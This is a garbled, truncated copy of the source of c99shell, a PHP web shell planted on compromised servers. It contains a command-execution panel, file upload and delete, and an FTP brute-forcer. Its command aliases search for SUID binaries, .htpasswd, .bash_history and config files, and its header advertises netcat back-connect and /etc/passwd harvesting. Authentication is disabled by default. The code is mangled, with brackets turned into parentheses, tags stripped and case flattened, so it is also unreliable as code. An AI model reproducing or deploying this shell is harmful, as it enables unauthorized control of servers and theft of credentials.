"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaarccmhjk70j6k3fufbgbulwjcuhjghgakuqegjneeagxeci".
"ci8alsalaxcgjk5o1agsbsiacabgjgcewamexp0bbmll/a6x5wztpfq2g6+0j8vx+7b4/nzqgftd".
"fxeaow==",
"ext_js"=
"r0lgoddheaaqaciaacwaaaaaeaaqail///8aaacagidawmd//wcagaaaaaaaaaaduci63cegxibh".
"k0aqsg200aqujbgaomihj5dmixnmjxtqq1dde0ewohsg16m9mooaiswemtiuc4tw2bb0l8fgiahs".
"a00ajyybbc/o9hjnniuaads=",
"ext_lnk"=
"r0lgodlheaaqagyaach5baeaafaalaaaaaaqabaahgaaaabiagplmmxmm0y/jlfflfs6k1rglwjo".
"nsmuftwzgkc5ig3too/1xe7ajx2od5x7yotquyrwv3/lthtaqxnfrmdgmyxrujkqhwamagfnrhzi".
"uww5caaqadozgkaslxlyqghibbn3dvg2nwnprndwrwboab5wfqbbaaa+afg3nak5bsgheuqwmabk".
"aaagaaawaabfade0gxelcxzcdek6iuuxkfjfle3aj2hhmrkicqwcagbmabptdg+hcbzedaqfbwdg".
"mymufqpwbj2fjhdvdqhobc6xf3fdr0o6ir2odwazahpzqcsregasadaxhwaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaezgfbqpagfhocagoi7og8jcgsebqiwpqcjgkcokjkup5eyud6pkzm5".
"nkckudmyntg3agg2s5equepjdgcdcaxmt06hgk26vawufuhdtypcuwzbybmrrmycrwmgrkug0xif".
"1laebieagrgxeg0t4swrocyldran4smpkcoqjc/hqvaungzg8e9rkbejybs0jshgh4umoyasbiuq".
"ads=",
"ext_log"=
"r0lgodlheaaqadmaach5baeaaagalaaaaaaqabaag////waaamdawicagicaaaaagaaa////aaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaarqekewk6uybzc475gealtjkllrawzbclrhrk4ly5yg7/wn".
"zlualgbqbv2egflv4xeosswt9gqqbprpqxovnapkkfb5eh/lmugzf5qe3+emigiaow==",
"ext_php"=
"r0lgodlheaaqaaaaach5baeaaaealaaaaaaqabaagaaaaaaaaaimda6hy5rw0hgosffsdtpqvflg".
"t0hkyz3q6qloz7jimomveb+uxaaaow==",
"ext_pl"=
"r0lgodlhfaauakl/ap/4/8dawh9/ap/4al+/vwaaaaaaaaaaach5baeaaaealaaaaaauabqaqamo".
"glrc3goamyr4ooudreegrlbwsj1lqk5s64ljwf3cqmjpjpdf6//abaa7",
"ext_swf"=
"r0lgodlhfaauamqrap+cnp9sus4aap+cap/oaiqaap9jam5jnm6cy86cnkxo98bexpwaap8xap/o".
"naaaap///////waaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaach5baea".
"abealaaaaaauabqaaav7ycsozgme6pmsbmuquczp0aplzhabupnqawee52g0fdkcmggoom4qb4ga".
"gbgat2gmqygvjufst3yofgkbrgbqpjgydefxxrpdgeia4xaqqnr1nhomeaacabfhiz8rcncmaggc".
"nyslkdotscsjndjantuqlqm2kaanqbehads=",
"ext_tar"=
"r0lgodlheaaqagyaach5baeaaesalaaaaaaqabaahgaaabloafgdafaaaiycuwa8zwa8z9dy4jic".
"wv///wciwbe2aaayujicqishl4caapd4/+dg8px6/5oxpl7h0+/2/agmstiymttc5p//sfl5/8xf".
"hgbypwbulgbwn1bqag8aiabqhrbfmwdckv+h11nouellrizipf+v3npa/40cuzmm/wa4xhvdaagd".
"uywd/0it/1u1/3nzap950p990mo5/7v14yzvzxlrwoxi/5vs/7dk/wbxov9syvrjwohatqchv17p".
"uo0guqbwnp++8lm5ap+j5qbulackwga4bjjqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaeegakcg4sfsxynew4gmgsoj48dfacheuizreyojdqzpt4/awcqcqkg".
"gwipqqkqaxiafrgxdwo1trcaubq7viejdiwhbcpexaytlsezozo5ktuxmcsvdkolsrschdwehkmd".
"hucmr7gzbufo6ay87lu+ii0fafp09avier8znjc4qsumtogyscbaaivfkchyybciiwxkzd2or3fb".
"u4tlageaow==",
"ext_txt"=
"r0lgodlhewaqakiaaaaaap///8bgxosehp///waaaaaaaaaaach5baeaaaqalaaaaaatabaaaanj".
"sare3ldjfka91rkpa/dgj3jbaz6lsckw6qqkb4jzf8bs6544w9zaw4+g26vwxf9wdowzmznleup7".
"uppwg3ig6hq/xmrjuzwkaaa7",
"ext_wri"=
"r0lgodlheaaqadmaach5baeaaagalaaaaaaqabaag////waaaicagmdawicaaaaagaaa////aaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaarrumhjkb0c6k2hueircdsafkexkkdgbovxstwaaypduoao".
"a4sxt0c4bf0ruhfaeaqqi9dmebrew8yxc6nx2qi7lrybtpjznsxgzw6nldq49hibads=",
"ext_xml"=
"r0lgodlheaaqaeqaach5baeaabaalaaaaaaqabaahp///waaaphx8yaghjnmmabk8aaamqaagaca".
"gdozadnm/zoz/zp//8dawdpm/waa/waaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaavk4ccopaid0acsbnsmqnquaia0ajzsdl8hwmboukgheapbesbufqwabicx".
"oaamxebthma4eocatgnykhajhxuribnrh7jyt/pza+0hyc/n02v4dzzufyv/pigjbokbqkgpkeeq".
"iqa7"
);
//for simple size- and speed-optimization.
$imgequals = array (
"ext_tar"=array ("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
"ext_php"=array ("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
"ext_jpg"=array ("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
"ext_html"=array ("ext_html","ext_htm"),
"ext_avi"=array ("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
"ext_lnk"=array ("ext_lnk","ext_url"),
"ext_ini"=array ("ext_ini","ext_css","ext_inf"),
"ext_doc"=array ("ext_doc","ext_dot"),
"ext_js"=array ("ext_js","ext_vbs"),
"ext_cmd"=array ("ext_cmd","ext_bat","ext_pif"),
"ext_wri"=array ("ext_wri","ext_rtf"),
"ext_swf"=array ("ext_swf","ext_fla"),
"ext_mp3"=array ("ext_mp3","ext_au","ext_midi","ext_mid"),
"ext_htaccess"=array ("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
);
if (!$getall)
(
header ("content-type: image/gif");
header ("cache-control: public");
header ("expires: ".date ("r",mktime (0,0,0,1,1,2030)));
header ("cache-control: max-age=". (60*60*24*7));
header ("last-modified: ".date ("r",filemtime (__file__)));
foreach ($imgequals as $k=$v) (if (in_array ($img,$v)) ($img = $k; break;))
if (empty ($images ($img))) ($img = "small_unk";)
if (in_array ($img,$ext_tar)) ($img = "ext_tar";)
echo base64_decode ($images ($img));
)
else
(
foreach ($imgequals as $a=$b) (foreach ($b as $d) (if ($a!= $d) (if (!empty ($images ($d))) (echo ("warning! remove \$images (".$d.")br");))))
natsort ($images);
$k = array_keys ($images);
echo "center";
foreach ($k as $u) (echo $u.":img src=\"".$surl."act=img&img=".$u."\" border=\"1\"br";)
echo "/center";
)
exit;
)
if ($act == "about") (echo "centerbcredits:bridea, leading and coding by tristram (ccteam).brbeta-testing and some tips - nukleon (antish@re team).brthanks all who report bugs.brall bugs send to tristram's icq #656555 a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\"img src=\"http://wwp.icq.com/scripts/online.dll?icq=656555&img=5\" border=0 align=absmiddle/a./b";)
?
/td/tr/tablea bookmark="minipanel"brtable style="border-collapse: collapse" cellspacing=0 bordercolordark=#666666 cellpadding=5 height="1" width="100%" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1
trtd width="100%" height="1" valign="top" colspan="2"p align="center"b:: a href="?php echo $surl;?act=cmd&d=?php echo urlencode ($d);?"bcommand execute/b/a::/b/p/td/tr
trtd width="50%" height="1" valign="top"centerbenter: /bform action="?php echo $surl;?act=cmd" method="post"input type="hidden" name="act" value="cmd"input type="hidden" name="d" value="?php echo $dispd;?"input type="text" name="cmd" size="50" value="?php echo htmlspecialchars ($cmd);?"input type="hidden" name="cmd_txt" value="1" input type="submit" name="submit" value="execute"/form/tdtd width="50%" height="1" valign="top"centerbselect: /bform action="?php echo $surl;?act=cmd" method="post"input type="hidden" name="act" value="cmd"input type="hidden" name="d" value="?php echo $dispd;?"select name="cmd"?php foreach ($cmdaliases as $als) (echo "option value=\"".htmlspecialchars ($als (1))."\"".htmlspecialchars ($als (0))."/option";)?/selectinput type="hidden" name="cmd_txt" value="1" input type="submit" name="submit" value="execute"/form/td/tr/table
br
table style="border-collapse: collapse" cellspacing=0 bordercolordark=#666666 cellpadding=5 height="1" width="100%" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1
tr
td width="50%" height="1" valign="top"centerb:: a href="?php echo $surl;?act=search&d=?php echo urlencode ($d);?"bsearch/b/a::/bform method="post"input type="hidden" name="act" value="search"input type="hidden" name="d" value="?php echo $dispd;?"input type="text" name="search_name" size="29" value=" (.*)" input type="checkbox" name="search_name_regexp" value="1" checked - regexp input type="submit" name="submit" value="search"/form/center/p/td
td width="50%" height="1" valign="top"centerb:: a href="?php echo $surl;?act=upload&d=?php echo $ud;?"bupload/b/a::/bform method="post" enctype="multipart/form-data"input type="hidden" name="act" value="upload"input type="file" name="uploadfile"input type="hidden" name="miniform" value="1" input type=submit name=submit value="upload"br?php echo $wdt;?/form/center/td
/tr
/table
brtable style="border-collapse: collapse" cellspacing=0 bordercolordark=#666666 cellpadding=5 height="1" width="100%" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1trtd width="50%" height="1" valign="top"centerb:: make dir::/bform method="post"input type="hidden" name="act" value="mkdir"input type="hidden" name="d" value="?php echo $dispd;?"input type="text" name="mkdir" size="50" value="?php echo $dispd;?" input type="submit" value="create"br?php echo $wdt;?/form/center/tdtd width="50%" height="1" valign="top"centerb:: make file::/bform method="post"input type="hidden" name="act" value="mkfile"input type="hidden" name="d" value="?php echo $dispd;?"input type="text" name="mkfile" size="50" value="?php echo $dispd;?"input type="hidden" name="ft" value="edit" input type="submit" value="create"br?php echo $wdt;?/form/center/td/tr/table
brtable style="border-collapse: collapse" cellspacing=0 bordercolordark=#666666 cellpadding=5 height="1" width="100%" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1trtd width="50%" height="1" valign="top"centerb:: go dir::/bform action="?php echo htmlspecialchars ($surl);?"input type="hidden" name="act" value="ls"input type="text" name="d" size="50" value="?php echo $dispd;?" input type="submit" value="go"/form/center/tdtd width="50%" height="1" valign="top"centerb:: go file::/bform action="?php echo htmlspecialchars ($surl);?"input type="hidden" name="act" value="gofile"input type="hidden" name="d" value="?php echo $dispd;?"input type="text" name="f" size="50" value="?php echo $dispd;?" input type="submit" value="go"/form/center/td/tr/table
brtable style="border-collapse: collapse" height=1 cellspacing=0 bordercolordark=#666666 cellpadding=0 width="100%" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1trtd width="990" height="1" valign="top"p align="center"b-- ( c99shell v.?php echo $shver;? a href="?php echo $surl;?act=about"ubpowered by/b/u/a captain crunch security team | a href="http://ccteam.ru"font color="#ff0000"http://ccteam.ru/font/afont color="#ff0000"/font | generation time:?php echo round (getmicrotime ()-starttime,4);? )--/b/p/td/tr/table
/body/html?php chdir ($lastdir); exit;
//add php tags before usage
?
//add php tags before usage
/*
******************************************************************************************************
*
* c99shell.php v.1.0 beta (? 21.05.2005)
* freeware license.
* © ccteam.
* c99shell -?-?? www-? "?"??
*??????????:
http://ccteam.ru/releases/c99shell
*
* web: http://ccteam.ru
* icq uin #: 656555
*
*?:
* +???? (ftp, samba *)?/??
*?????
* (??/?? tar *)
*?? (???)
* modify-time? access-time?????? (?/?? $filestealth)
* +? sql-??? phpmyadmin,
?/?/??/?????? mysql
* +?? unix-?
* +? (??)? shell-? (????)
* +?? php-?
* +??? md5, unix-md5, sha1, crc32, base64
* +?????
* +? ftp-??? login;login? /etc/passwd (???? 1/100?)
*???????/??? sql)
* +? "?" include:?????????? (?)
??? $surl (??)??? (?)??? cookie "c99sh_surl",
??-?? $set_surl? cookie "set_surl"
* +? "?" /bin/bash??????
*?? back connect (???????? netcat).
* +???-??
* +???????? (? mail ())
* * -????? php
*
* ??????!
*
*??:
* ~? sql-?
* ~????
*
* ~-~????????? (????!)
? icq uin #656555??? "feedback",??????
*
* last modify: 21.05.2005
*
* © captain crunch security team. coded by tristram
*
******************************************************************************************************
*/
//starting calls
if (!function_exists ("getmicrotime")) (function getmicrotime () (list ($usec, $sec) = explode (" ", microtime ()); return ( (float)$usec + (float)$sec);))
error_reporting (5);
@ignore_user_abort (true);
@set_magic_quotes_runtime (0);
@set_time_limit (0);
$win = strtolower (substr (php_os, 0, 3)) == "win";
if (!@ob_get_contents ()) (@ob_start (); @ob_implicit_flush (0);)
define ("starttime",getmicrotime ());
if (get_magic_quotes_gpc ()) (if (!function_exists ("strips")) (function strips (&$arr,$k="") (if (is_array ($arr)) (foreach ($arr as $k=$v) (if (strtoupper ($k)!= "globals") (strips ($arr ("$k"));))) else ($arr = stripslashes ($arr);))) strips ($globals);)
$_request = array_merge ($_cookie,$_get,$_post);
foreach ($_request as $k=$v) (if (!isset ($$k)) ($$k = $v;))
$shver = "1.0 beta (21.05.2005)"; //current version
//configuration and settings
if (!empty ($unset_surl)) (setcookie ("c99sh_surl"); $surl = "";)
elseif (!empty ($set_surl)) ($surl = $set_surl; setcookie ("c99sh_surl",$surl);)
else ($surl = $_request ("c99sh_surl"); //set this cookie for manual surl
)
$surl_autofill_include = true; //if true then search variables with descriptors (urls) and save it in surl.
if ($surl_autofill_include and!$_request ("c99sh_surl")) ($include = "&"; foreach (explode ("&",getenv ("query_string")) as $v) ($v = explode ("=",$v); $name = urldecode ($v (0)); $value = urldecode ($v (1)); foreach (array ("http://","https://","ssl://","ftp://","\\\\") as $needle) (if (strpos ($value,$needle) === 0) ($includestr.= urlencode ($name)."=".urlencode ($value)."&";))) if ($_request ("surl_autofill_include")) ($includestr.= "surl_autofill_include=1&";))
if (empty ($surl))
(
$surl = "?".$includestr; //self url
)
$surl = htmlspecialchars ($surl);
$timelimit = 60; //limit of execution this script (seconds), 0 = unlimited.
//authentication
$login = "c99"; //login
//don't forgot about change password!
$pass = "c99"; //password
$md5_pass = ""; //md5-cryped pass. if null, md5 ($pass)
/*comment it for turn on authentification */ $login = false; //turn off authentification
$host_allow = array ("*"); //array (" (mask)1"," (mask)2",..), (mask) = ip or host e.g. array ("192.168.0.*","127.0.0.1")
$login_txt = "restricted area"; //http-auth message.
$accessdeniedmess = "a href=\"http://ccteam.ru/releases/c99shell\"c99shell v.".$shver."/a: access denied";
$autoupdate = false; //automatic updating?
$updatenow = false; //if true, update now
$c99sh_updatefurl = "http://ccteam.ru/releases/update/c99shell/"; //update server
$filestealth = false; //if true, don't change modify&access-time
$donated_html = "centerbowned by hacker/b/center";
/* if you publish free shell and you wish
add link to your site or any other information,
put here your html. */
$donated_act = array (""); //array ("act1","act2,"..), if $act is in this array, display $donated_html.
$curdir = "./"; //start directory
//$curdir = getenv ("document_root");
$tmpdir = ""; //directory for tempory files. if empty, auto-fill (/tmp or %windir/temp)
$tmpdir_log = "./"; //directory logs of long processes (e.g. brute, scan..)
$log_email = "[email protected]"; //default e-mail for sending logs
$sort_default = "0a"; //default sorting, 0 - number of colomn, "a"scending or "d"escending
$sort_save = true; //if true then save sorting-type.
// registered file-types.
// array (
// " (action1)"=array ("ext1","ext2","ext3",..),
// " (action2)"=array ("ext4","ext5","ext6",..),
//...
// )
$ftypes = array (
"html"=array ("html","htm","shtml"),
"txt"=array ("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
"exe"=array ("sh","install","bat","cmd"),
"ini"=array ("ini","inf"),
"code"=array ("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
"img"=array ("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
"sdb"=array ("sdb"),
"phpsess"=array ("sess"),
"download"=array ("exe","com","pif","src","lnk","zip","rar","gz","tar")
);
// registered executable file-types.
// array (
// string "command (i)"=array ("ext1","ext2","ext3",..),
//...
// )
// (command): %f% = filename
$exeftypes = array (
getenv ("phprc")." %f%"=array ("php","php3","php4"),
);
/* highlighted files.
array (
i=array ( (regexp), (type), (opentag), (closetag), (break))
...
)
string (regexp) - regular exp.
int (type):
0 - files and folders (as default),
1 - files only, 2 - folders only
string (opentag) - open html-tag, e.g. "b" (default)
string (closetag) - close html-tag, e.g. "/b" (default)
bool (break) - if true and found match then break
*/
$regxp_highlight = array (
array (basename ($_server ("php_self")),1,"font color=\"yellow\"","/font"), // example
array ("config.php",1) // example
);
$safemode_diskettes = array ("a"); // this variable for disabling diskett-errors.
// array (i= (letter)..); string (letter) - letter of a drive
// set as false or for turn off.
$hexdump_lines = 8; // lines in hex preview file
$hexdump_rows = 24; // 16, 24 or 32 bytes in one line
$nixpwdperpage = 100; // get first n lines from /etc/passwd
$bindport_pass = "c99"; // default password for binding
$bindport_port = "11457"; // default port for binding
// command-aliases
if (!$win)
(
$cmdaliases = array (
array ("-----------------------------------------------------------", "ls -la"),
array ("find all suid files", "find / -type f -perm -04000 -ls"),
array ("find suid files in current dir", "find. -type f -perm -04000 -ls"),
array ("find all sgid files", "find / -type f -perm -02000 -ls"),
array ("find sgid files in current dir", "find. -type f -perm -02000 -ls"),
array ("find config.inc.php files", "find / -type f -name config.inc.php"),
array ("find config* files", "find / -type f -name \"config*\""),
array ("find config* files in current dir", "find. -type f -name \"config*\""),
array ("find all writable directories and files", "find / -perm -2 -ls"),
array ("find all writable directories and files in current dir", "find. -perm -2 -ls"),
array ("find all service.pwd files", "find / -type f -name service.pwd"),
array ("find service.pwd files in current dir", "find. -type f -name service.pwd"),
array ("find all.htpasswd files", "find / -type f -name.htpasswd"),
array ("find.htpasswd files in current dir", "find. -type f -name.htpasswd"),
array ("find all.bash_history files", "find / -type f -name.bash_history"),
array ("find.bash_history files in current dir", "find. -type f -name.bash_history"),
array ("find all.fetchmailrc files", "find / -type f -name.fetchmailrc"),
array ("find.fetchmailrc files in current dir", "find. -type f -name.fetchmailrc"),
array ("list file attributes on a linux second extended file system", "lsattr -va"),
array ("show opened ports", "netstat -an | grep -i listen")
);
)
else
(
$cmdaliases = array (
array ("-----------------------------------------------------------", "dir"),
array ("show opened ports", "netstat -an")
);
)
$sess_cookie = "c99shvars"; // cookie-variable name
$usefsbuff = true; //buffer-function
$copy_unset = false; //remove copied files from buffer after pasting
//quick launch
$quicklaunch = array (
array ("img src=\"".$surl."act=img&img=home\" alt=\"home\" height=\"20\" width=\"20\" border=\"0\"",$surl),
array ("img src=\"".$surl."act=img&img=back\" alt=\"back\" height=\"20\" width=\"20\" border=\"0\"","#\" onclick=\"history.back (1)"),
array ("img src=\"".$surl."act=img&img=forward\" alt=\"forward\" height=\"20\" width=\"20\" border=\"0\"","#\" onclick=\"history.go (1)"),
array ("img src=\"".$surl."act=img&img=up\" alt=\"updir\" height=\"20\" width=\"20\" border=\"0\"",$surl."act=ls&d=%upd&sort=%sort"),
array ("img src=\"".$surl."act=img&img=refresh\" alt=\"refresh\" height=\"20\" width=\"17\" border=\"0\"",""),
array ("img src=\"".$surl."act=img&img=search\" alt=\"search\" height=\"20\" width=\"20\" border=\"0\"",$surl."act=search&d=%d"),
array ("img src=\"".$surl."act=img&img=buffer\" alt=\"buffer\" height=\"20\" width=\"20\" border=\"0\"",$surl."act=fsbuff&d=%d"),
array ("bencoder/b",$surl."act=encoder&d=%d"),
array ("bbind/b",$surl."act=bind&d=%d"),
array ("bproc./b",$surl."act=ps_aux&d=%d"),
array ("bftp brute/b",$surl."act=ftpquickbrute&d=%d"),
array ("bsec./b",$surl."act=security&d=%d"),
array ("bsql/b",$surl."act=sql&d=%d"),
array ("bphp-code/b",$surl."act=eval&d=%d"),
array ("bfeedback/b",$surl."act=feedback&d=%d"),
array ("bself remove/b",$surl."act=selfremove"),
array ("blogout/b","#\" onclick=\"if (confirm ('are you sure?')) window.close ()")
);
//highlight-code colors
$highlight_background = "#c0c0c0";
$highlight_bg = "#ffffff";
$highlight_comment = "#6a6a6a";
$highlight_default = "#0000bb";
$highlight_html = "#1300ff";
$highlight_keyword = "#007700";
$highlight_string = "#000000";
@$f = $_request ("f");
@extract ($_request ("c99shcook"));
//end configuration
// \/ next code isn't for editing \/
$tmp = array ();
foreach ($host_allow as $k=$v) ($tmp () = str_replace ("\\*",".*",preg_quote ($v));)
$s = "!^ (".implode ("|",$tmp).")$!i";
if (!preg_match ($s,getenv ("remote_addr")) and!preg_match ($s,gethostbyaddr (getenv ("remote_addr")))) (exit ("a href=\"http://ccteam.ru/releases/cc99shell\"c99shell/a: access denied - your host (".getenv ("remote_addr").") not allow");)
if ($login)
(
if (empty ($md5_pass)) ($md5_pass = md5 ($pass);)
if ( ($_server ("php_auth_user")!= $login ) or (md5 ($_server ("php_auth_pw"))!= $md5_pass))
(
if ($login_txt === false) ($login_txt = "";)
elseif (empty ($login_txt)) ($login_txt = strip_tags (ereg_replace (" |br"," ",$donated_html));)
header ("www-authenticate: basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
header ("http/1.0 401 unauthorized");
exit ($accessdeniedmess);
)
)
if ($act!= "img")
(
$lastdir = realpath (".");
chdir ($curdir);
if ( ($selfwrite) or ($updatenow))
(
if ($selfwrite == "1") ($selfwrite = "c99shell.php";)
c99sh_getupdate ();
$data = file_get_contents ($c99sh_updatefurl);
$fp = fopen ($data,"w");
fwrite ($fp,$data);
fclose ($fp);
exit;
)
$sess_data = unserialize ($_cookie ("$sess_cookie"));
if (!is_array ($sess_data)) ($sess_data = array ();)
if (!is_array ($sess_data ("copy"))) ($sess_data ("copy") = array ();)
if (!is_array ($sess_data ("cut"))) ($sess_data ("cut") = array ();)
if (!function_exists ("c99_buff_prepare"))
(
function c99_buff_prepare ()
(
global $sess_data;
global $act;
foreach ($sess_data ("copy") as $k=$v) ($sess_data ("copy") ($k) = str_replace ("\\",directory_separator,realpath ($v));)
foreach ($sess_data ("cut") as $k=$v) ($sess_data ("cut") ($k) = str_replace ("\\",directory_separator,realpath ($v));)
$sess_data ("copy") = array_unique ($sess_data ("copy"));
$sess_data ("cut") = array_unique ($sess_data ("cut"));
sort ($sess_data ("copy"));
sort ($sess_data ("cut"));
if ($act!= "copy") (foreach ($sess_data ("cut") as $k=$v) (if ($sess_data ("copy") ($k) == $v) (unset ($sess_data ("copy") ($k)); )))
else (foreach ($sess_data ("copy") as $k=$v) (if ($sess_data ("cut") ($k) == $v) (unset ($sess_data ("cut") ($k));)))
)
)
c99_buff_prepare ();
if (!function_exists ("c99_sess_put"))
(
function c99_sess_put ($data)
(
global $sess_cookie;
global $sess_data;
c99_buff_prepare ();
$sess_data = $data;
$data = serialize ($data);
setcookie ($sess_cookie,$data);
)
)
if ($sort_save)
(
if (!empty ($sort)) (setcookie ("sort",$sort);)
if (!empty ($sql_sort)) (setcookie ("sql_sort",$sql_sort);)
)
if (!function_exists ("str2mini"))
(
function str2mini ($content,$len)
(
if (strlen ($content) $len)
(
$len = ceil ($len/2) - 2;
return substr ($content, 0, $len)."...".substr ($content, -$len);
)
else (return $content;)
)
)
if (!function_exists ("view_size"))
(
function view_size ($size)
(
if (!is_numeric ($size)) (return false;)
else
(
if ($size = 1073741824) ($size = round ($size/1073741824*100)/100." gb";)
elseif ($size = 1048576) ($size = round ($size/1048576*100)/100." mb";)
elseif ($size = 1024) ($size = round ($size/1024*100)/100." kb";)
else ($size = $size. " b";)
return $size;
)
)
)
if (!function_exists ("fs_copy_dir"))
(
function fs_copy_dir ($d,$t)
(
$d = str_replace ("\\",directory_separator,$d);
if (substr ($d,-1,1)!= directory_separator) ($d.= directory_separator;)
$h = opendir ($d);
while ( ($o = readdir ($h))!== false)
(
if ( ($o!= ".") and ($o!= ".."))
(
if (!is_dir ($d.directory_separator.$o)) ($ret = copy ($d.directory_separator.$o,$t.directory_separator.$o);)
else ($ret = mkdir ($t.directory_separator.$o); fs_copy_dir ($d.directory_separator.$o,$t.directory_separator.$o);)
if (!$ret) (return $ret;)
)
)
closedir ($h);
return true;
)
)
if (!function_exists ("fs_copy_obj"))
(
function fs_copy_obj ($d,$t)
(
$d = str_replace ("\\",directory_separator,$d);
$t = str_replace ("\\",directory_separator,$t);
if (!is_dir (dirname ($t))) (mkdir (dirname ($t));)
if (is_dir ($d))
(
if (substr ($d,-1,1)!= directory_separator) ($d.= directory_separator;)
if (substr ($t,-1,1)!= directory_separator) ($t.= directory_separator;)
return fs_copy_dir ($d,$t);
)
elseif (is_file ($d)) (return copy ($d,$t);)
else (return false;)
)
)
if (!function_exists ("fs_move_dir"))
(
function fs_move_dir ($d,$t)
(
$h = opendir ($d);
if (!is_dir ($t)) (mkdir ($t);)
while ( ($o = readdir ($h))!== false)
(
if ( ($o!= ".") and ($o!= ".."))
(
$ret = true;
if (!is_dir ($d.directory_separator.$o)) ($ret = copy ($d.directory_separator.$o,$t.directory_separator.$o);)
else (if (mkdir ($t.directory_separator.$o) and fs_copy_dir ($d.directory_separator.$o,$t.directory_separator.$o)) ($ret = false;))
if (!$ret) (return $ret;)
)
)
closedir ($h);
return true;
)
)
if (!function_exists ("fs_move_obj"))
(
function fs_move_obj ($d,$t)
(
$d = str_replace ("\\",directory_separator,$d);
$t = str_replace ("\\",directory_separator,$t);
if (is_dir ($d))
(
if (substr ($d,-1,1)!= directory_separator) ($d.= directory_separator;)
if (substr ($t,-1,1)!= directory_separator) ($t.= directory_separator;)
return fs_move_dir ($d,$t);
)
elseif (is_file ($d))
(
if (copy ($d,$t)) (return unlink ($d);)
else (unlink ($t); return false;)
)
else (return false;)
)
)
if (!function_exists ("fs_rmdir"))
(
function fs_rmdir ($d)
(
$h = opendir ($d);
while ( ($o = readdir ($h))!== false)
(
if ( ($o!= ".") and ($o!= ".."))
(
if (!is_dir ($d.$o)) (unlink ($d.$o);)
else (fs_rmdir ($d.$o.directory_separator); rmdir ($d.$o);)
)
)
closedir ($h);
rmdir ($d);
return!is_dir ($d);
)
)
if (!function_exists ("fs_rmobj"))
(
function fs_rmobj ($o)
(
$o = str_replace ("\\",directory_separator,$o);
if (is_dir ($o))
(
if (substr ($o,-1,1)!= directory_separator) ($o.= directory_separator;)
return fs_rmdir ($o);
)
elseif (is_file ($o)) (return unlink ($o);)
else (return false;)
)
)
if (!function_exists ("myshellexec"))
(
function myshellexec ($cmd)
(
$result = "";
if (!empty ($cmd))
(
if (is_callable ("exec")) (exec ($cmd,$result); $result = join ("\n",$result);)
elseif (is_callable ("shell_exec")) ($result = shell_exec ($cmd);)
elseif (is_callable ("system")) (@ob_start (); system ($cmd); $result = @ob_get_contents (); @ob_end_clean ();)
elseif (is_callable ("passthru")) (@ob_start (); passthru ($cmd); $result = @ob_get_contents (); @ob_end_clean ();)
elseif ( ($result = `$cmd`)!== false) ()
elseif (is_resource ($fp = popen ($cmd,"r")))
(
$result = "";
while (!feof ($fp)) ($result.= fread ($fp,1024);)
pclose ($fp);
)
)
return $result;
)
)
if (!function_exists ("tabsort"))
(
function tabsort ($a,$b) (global $v; return strnatcmp ($a ($v), $b ($v));)
)
if (!function_exists ("view_perms"))
(
function view_perms ($mode)
(
if ( ($mode & 0xc000) === 0xc000) ($type = "s";)
elseif ( ($mode & 0x4000) === 0x4000) ($type = "d";)
elseif ( ($mode & 0xa000) === 0xa000) ($type = "l";)
elseif ( ($mode & 0x8000) === 0x8000) ($type = "-";)
elseif ( ($mode & 0x6000) === 0x6000) ($type = "b";)
elseif ( ($mode & 0x2000) === 0x2000) ($type = "c";)
elseif ( ($mode & 0x1000) === 0x1000) ($type = "p";)
else ($type = "?";)
$owner ("read") = ($mode & 00400)? "r": "-";
$owner ("write") = ($mode & 00200)? "w": "-";
$owner ("execute") = ($mode & 00100)? "x": "-";
$group ("read") = ($mode & 00040)? "r": "-";
$group ("write") = ($mode & 00020)? "w": "-";
$group ("execute") = ($mode & 00010)? "x": "-";
$world ("read") = ($mode & 00004)? "r": "-";
$world ("write") = ($mode & 00002)? "w": "-";
$world ("execute") = ($mode & 00001)? "x": "-";
if ( $mode & 0x800 ) ($owner ("execute") = ($owner ("execute") == "x")? "s": "s";)
if ( $mode & 0x400 ) ($group ("execute") = ($group ("execute") == "x")? "s": "s";)
if ( $mode & 0x200 ) ($world ("execute") = ($world ("execute") == "x")? "t": "t";)
return $type.$owner ("read").$owner ("write").$owner ("execute").
$group ("read").$group ("write").$group ("execute").
$world ("read").$world ("write").$world ("execute");
)
)
if (!function_exists ("parse_perms"))
(
function parse_perms ($mode)
(
